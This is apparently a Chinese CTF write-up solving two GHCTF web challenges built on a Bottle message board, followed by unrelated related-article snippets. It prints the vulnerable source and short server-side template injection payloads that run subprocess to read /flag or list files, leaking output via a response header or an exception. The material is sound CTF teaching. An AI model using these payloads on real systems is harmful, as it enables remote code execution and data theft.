ctf-WEB: 关于 GHCTF Message in a Bottle plus 与 Message in a Bottle 的非官方wp解法
Message in a Bottle
from bottle import Bottle, request, template, runapp = Bottle()# 存储留言的列表
messages = []
def handle_message(message):message_items = "".join([f"""<div class="message-card"><div class="message-content">{msg}</div><small class="message-time">#{idx + 1} - 刚刚</small></div>""" for idx, msg in enumerate(message)])board = f"""<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>简约留言板</title><link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet"><style>:root {{--primary-color: #4a90e2;--hover-color: #357abd;--background-color: #f8f9fa;--card-background: #ffffff;--shadow-color: rgba(0, 0, 0, 0.1);}}body {{background: var(--background-color);min-height: 100vh;padding: 2rem 0;font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;}}.container {{max-width: 800px;background: var(--card-background);border-radius: 15px;box-shadow: 0 4px 6px var(--shadow-color);padding: 2rem;margin-top: 2rem;animation: fadeIn 0.5s ease-in-out;}}@keyframes fadeIn {{from {{ opacity: 0; transform: translateY(20px); }}to {{ opacity: 1; transform: translateY(0); }}}}.message-card {{background: var(--card-background);border-radius: 10px;padding: 1.5rem;margin: 1rem 0;transition: all 0.3s ease;border-left: 4px solid var(--primary-color);box-shadow: 0 2px 4px var(--shadow-color);}}.message-card:hover {{transform: translateX(10px);box-shadow: 0 4px 8px var(--shadow-color);}}.message-content {{font-size: 1.1rem;color: #333;line-height: 1.6;margin-bottom: 0.5rem;}}.message-time {{color: #6c757d;font-size: 0.9rem;display: block;margin-top: 0.5rem;}}textarea {{width: 100%;height: 120px;padding: 1rem;border: 2px solid #e9ecef;border-radius: 10px;resize: vertical;font-size: 1rem;transition: border-color 0.3s ease;}}textarea:focus {{border-color: var(--primary-color);outline: none;box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);}}.btn-custom {{background: var(--primary-color);color: white;padding: 0.8rem 2rem;border-radius: 10px;border: none;transition: all 0.3s ease;font-weight: 500;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-custom:hover {{background: var(--hover-color);transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}h1 {{color: var(--primary-color);text-align: center;margin-bottom: 2rem;font-weight: 600;font-size: 2.5rem;text-shadow: 2px 2px 4px var(--shadow-color);}}.btn-danger {{transition: all 0.3s ease;padding: 0.6rem 1.5rem;border-radius: 10px;text-transform: uppercase;letter-spacing: 0.05rem;}}.btn-danger:hover {{transform: translateY(-2px);box-shadow: 0 4px 8px var(--shadow-color);}}.text-muted {{font-style: italic;color: #6c757d !important;}}@media (max-width: 576px) {{h1 {{font-size: 2rem;}}.container {{padding: 1.5rem;}}.message-card {{padding: 1rem;}}}}</style></head><body><div class="container"><div class="d-flex justify-content-between align-items-center mb-4"><h1 class="mb-0">📝 简约留言板</h1><a href="/Clean" class="btn btn-danger"onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')">🗑️ 一键清理</a></div><form action="/submit" method="post"><textarea name="message" placeholder="输入payload暴打出题人"required></textarea><div class="d-grid gap-2"><button type="submit" class="btn-custom">发布留言</button></div></form><div class="message-list mt-4"><div class="d-flex justify-content-between align-items-center mb-3"><h4 class="mb-0">最新留言({len(message)}条)</h4>{f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}</div>{message_items}</div></div></body></html>"""print(board)return boarddef waf(message):return message.replace("{", "").replace("}", "")@app.route('/')
def index():return template(handle_message(messages))@app.route('/Clean')
def Clean():global messagesmessages = []return '<script>window.location.href="/"</script>'@app.route('/submit', method='POST')
def submit():message = waf(request.forms.get('message'))messages.append(message)return template(handle_message(messages))if __name__ == '__main__':run(app, host='localhost', port=9000)
模板注入,查看官方文档得知
模板引擎允许您在模板中嵌入python代码的行或块。代码行以开头
%代码块被<%和%>令牌:
% name = "Bob" # a line of python code
<p>Some plain text in between</p>
<%# A block of python codename = name.title().strip()
%>
<p>More plain text</p>
直接控制一个返回头,注意一定要有回车
<%
result = __import__('subprocess').run(['cat','/flag'], capture_output=True
)
encoded = __import__('base64').b64encode(result.stdout).decode()
__import__('bottle').response.headers['X-Output'] = encoded
%>
Message in a Bottle plus
发送尝试单个引号报错,双个不报错,只要把字符放在注释内就不报错,猜测waf为类似
a = input()
eval(waf = a)
template(a)
使用三引号绕过waf,报错带出回显
"""
that_runing
% out=__import__('urllib').parse.quote(__import__('subprocess').run(['ls'],capture_output=True).stdout);raise Exception(out)
"""
相关文章:
ctf-WEB: 关于 GHCTF Message in a Bottle plus 与 Message in a Bottle 的非官方wp解法
Message in a Bottle from bottle import Bottle, request, template, runapp Bottle()# 存储留言的列表 messages [] def handle_message(message):message_items "".join([f"""<div class"message-card"><div class"me…...
测试用例详解
一、通用测试用例八要素 1、用例编号; 2、测试项目; 3、测试标题; 4、重要级别; 5、预置条件; 6、测试输入; 7、操作步骤; 8、预期输出 二、具体分析通…...
c#面试题整理7
1.UDP和TCP的区别 UDP是只要能连上终端就发送,至于终端是否收到,不管。 TCP则是会存在交换,即发送失败或成功,是可知的。 2.进程和线程的区别 双击一个程序的exe文件,程序执行了,这就是一个进程。 这个…...
OpenManus-通过源码方式本地运行OpenManus,含踩坑及处理方案,chrome.exe位置修改
前言:最近 Manus 火得一塌糊涂啊,OpenManus 也一夜之间爆火,那么作为程序员应该来尝尝鲜 1、前期准备 FastGithub:如果有科学上网且能正常访问 github 则不需要下载此软件,此软件是提供国内直接访问 githubGit&#…...
【性能测试】Jmeter下载安装、环境配置-小白使用手册(1)
本篇文章主要包含Jmeter的下载安装、环境配置 添加线程组、结果树、HTTP请求、请求头设置。JSON提取器的使用,用户自定义变量 目录 一:引入 1:软件介绍 2:工作原理 3:安装Jmeter 4:启动方式 …...
HTML星球大冒险之路线图
第一章:欢迎来到 HTML 星球! 1.1 宇宙的基石:HTML 是什么? 🌍 比喻:HTML 是网页世界的「乐高积木」,用标签搭建一切可见内容🎯 目标:理解 HTML 的作用,掌握…...
初识大模型——大语言模型 LLMBook 学习(一)
1. 大模型发展历程 🔹 1. 早期阶段(1950s - 1990s):基于规则和统计的方法 代表技术: 1950s-1960s:规则驱动的语言处理 早期的 NLP 主要依赖 基于规则的系统,如 Noam Chomsky 提出的 生成语法&…...
LabVIEW伺服阀高频振动测试
在伺服阀高频振动测试中,闭环控制系统的实时性与稳定性至关重要。针对用户提出的1kHz控制频率需求及Windows平台兼容性问题,本文重点分析NI PCIe-7842R实时扩展卡的功能与局限性,并提供其他替代方案的综合对比,以帮助用户选择适合…...
AI编程工具-(七)
250309,10这几天都在用通义灵码搞做建模分析。 感想,指令越具体,实现效果越好。 依然是之前的时许数据,这几天分析效果没有提升。 画的几个有意思的图表和效果 主要觉得这图好看,提示词不复杂。 预测效果 预测准确性提升不大聊…...
什么是一致性模型,在实践中如何选择?
一、一致性模型 1、强一致性(Strong Consistency) ①定义:强一致性意味着在分布式系统中的每个读取操作,都能读取到最近写入的数据。也就是说,所有节点都始终保持相同的数据状态。 ②特点:写操作对所有节点立即可见,所有的读取操作在任何节点上都能看到最新的写入。 …...
Python项目-智能家居控制系统的设计与实现
1. 引言 随着物联网技术的快速发展,智能家居系统已经成为现代家庭生活的重要组成部分。本文将详细介绍一个基于Python的智能家居控制系统的设计与实现过程,该系统能够实现对家庭设备的集中管理和智能控制,提升家居生活的便捷性和舒适度。 2…...
RDP连接无法复制粘贴问题的排查与解决指南
RDP连接无法复制粘贴问题的排查与解决指南 问题描述注意事项排查原因检查RDP剪贴板进程是否正常检查组策略设置检查权限和安全设置检查网络连接 解决方式重启rdpclip.exe进程启用RDP剪贴板重定向调整组策略设置检查并调整安全设置更新驱动程序和系统检查网络连接使用其他远程连…...
IDEA与Maven使用-学习记录(持续补充...)
1. 下载与安装 以ideaIU-2021.3.1为例,安装步骤: 以管理员身份启动ideaIU-2021.3.1修改安装路径为:D:\Program Files\JetBrains\IntelliJ IDEA 2021.3.1勾选【创建桌面快捷方式】(可选)、【打开文件夹作为项目】&…...
Go 语言封装 HTTP 请求的 Curl 工具包
文章目录 Go 语言封装 HTTP 请求的 Curl 工具包🏗️ 工具包结构简介核心结构体定义初始化函数 🌟 功能实现1. 设置请求头2. 构建请求3. 发送请求4. 发送 GET 请求5. 发送 POST 请求6. 发送 PUT 请求7. 发送 DELETE 请求8. 读取响应体 💡 实现…...
RK3568 SD卡调试记录
文章目录 1、环境介绍2、概念理清3、原理图查看4、dts配置5、验证6、SD卡启动6.1、启动优先级6.2、启动流程6.2.1、Maskrom(Boot ROM)启动优先级6.2.2、Pre-loader(SPL)启动优先级 6.3、如何从sd卡启动?6.3.1、制作sd启动卡6.3.2、sd卡启动 7、总结 1、环境介绍 硬…...
高效获取历史行情数据:xtquant的实战应用
高效获取历史行情数据:xtquant的实战应用 🚀量化软件开通 🚀量化实战教程 在量化交易领域,历史行情数据是构建和测试交易策略的基础。无论是回测策略的有效性,还是进行市场分析,高质量的历史数据都是不可…...
【python爬虫】酷狗音乐爬取练习
注意:本次爬取的音乐仅有1分钟试听,仅作学习爬虫的原理,完整音乐需要自行下载客户端。 一、 初步分析 登陆酷狗音乐后随机选取一首歌,在请求里发现一段mp3文件,复制网址,确实是我们需要的url。 复制音频的…...
阿里云 DataWorks面试题集锦及参考答案
目录 简述阿里云 DataWorks 的核心功能模块及其在企业数据治理中的作用 简述 DataWorks 的核心功能模块及其应用场景 解释 DataWorks 中工作空间、项目、业务流程的三层逻辑关系 解释 DataWorks 中的 “节点”、“工作流” 和 “依赖关系” 设计 解释 DataWorks 中 “周期任…...
uniapp+Vue3 开发小程序的下载文件功能
小程序下载文件,可以先预览文件内容,然后在手机上打开文件的工具中选择保存。 简单示例:(复制到HBuilder直接食用即可) <template><view class"container-detail"><view class"example…...
Apache Log4j 2
目录 1. Apache Log4j 2 简介 1.1 什么是Log4j 2? 1.2 Log4j 2 的主要特性 2. Log4j 2 的核心组件 2.1 Logger 2.2 Appender 2.3 Layout 2.4 Filter 2.5 Configuration 3. Log4j 2 的配置 4. Log4j 2 的使用示例 4.1 Maven 依赖 4.2 示例代码 4.3 输出…...
【机器视觉】单目测距——运动结构恢复
ps:图是随便找的,为了凑个封面 前言 在前面对光流法进行进一步改进,希望将2D光流推广至3D场景流时,发现2D转3D过程中存在尺度歧义问题,需要补全摄像头拍摄图像中缺失的深度信息,否则解空间不收敛…...
Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
linux arm系统烧录
1、打开瑞芯微程序 2、按住linux arm 的 recover按键 插入电源 3、当瑞芯微检测到有设备 4、松开recover按键 5、选择升级固件 6、点击固件选择本地刷机的linux arm 镜像 7、点击升级 (忘了有没有这步了 估计有) 刷机程序 和 镜像 就不提供了。要刷的时…...
UR 协作机器人「三剑客」:精密轻量担当(UR7e)、全能协作主力(UR12e)、重型任务专家(UR15)
UR协作机器人正以其卓越性能在现代制造业自动化中扮演重要角色。UR7e、UR12e和UR15通过创新技术和精准设计满足了不同行业的多样化需求。其中,UR15以其速度、精度及人工智能准备能力成为自动化领域的重要突破。UR7e和UR12e则在负载规格和市场定位上不断优化…...
06 Deep learning神经网络编程基础 激活函数 --吴恩达
深度学习激活函数详解 一、核心作用 引入非线性:使神经网络可学习复杂模式控制输出范围:如Sigmoid将输出限制在(0,1)梯度传递:影响反向传播的稳定性二、常见类型及数学表达 Sigmoid σ ( x ) = 1 1 +...
基于matlab策略迭代和值迭代法的动态规划
经典的基于策略迭代和值迭代法的动态规划matlab代码,实现机器人的最优运输 Dynamic-Programming-master/Environment.pdf , 104724 Dynamic-Programming-master/README.md , 506 Dynamic-Programming-master/generalizedPolicyIteration.m , 1970 Dynamic-Programm…...
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据
微软PowerBI考试 PL300-在 Power BI 中清理、转换和加载数据 Power Query 具有大量专门帮助您清理和准备数据以供分析的功能。 您将了解如何简化复杂模型、更改数据类型、重命名对象和透视数据。 您还将了解如何分析列,以便知晓哪些列包含有价值的数据,…...
《C++ 模板》
目录 函数模板 类模板 非类型模板参数 模板特化 函数模板特化 类模板的特化 模板,就像一个模具,里面可以将不同类型的材料做成一个形状,其分为函数模板和类模板。 函数模板 函数模板可以简化函数重载的代码。格式:templa…...
AGain DB和倍数增益的关系
我在设置一款索尼CMOS芯片时,Again增益0db变化为6DB,画面的变化只有2倍DN的增益,比如10变为20。 这与dB和线性增益的关系以及传感器处理流程有关。以下是具体原因分析: 1. dB与线性增益的换算关系 6dB对应的理论线性增益应为&…...
uniapp手机号一键登录保姆级教程(包含前端和后端)
目录 前置条件创建uniapp项目并关联uniClound云空间开启一键登录模块并开通一键登录服务编写云函数并上传部署获取手机号流程(第一种) 前端直接调用云函数获取手机号(第三种)后台调用云函数获取手机号 错误码常见问题 前置条件 手机安装有sim卡手机开启…...
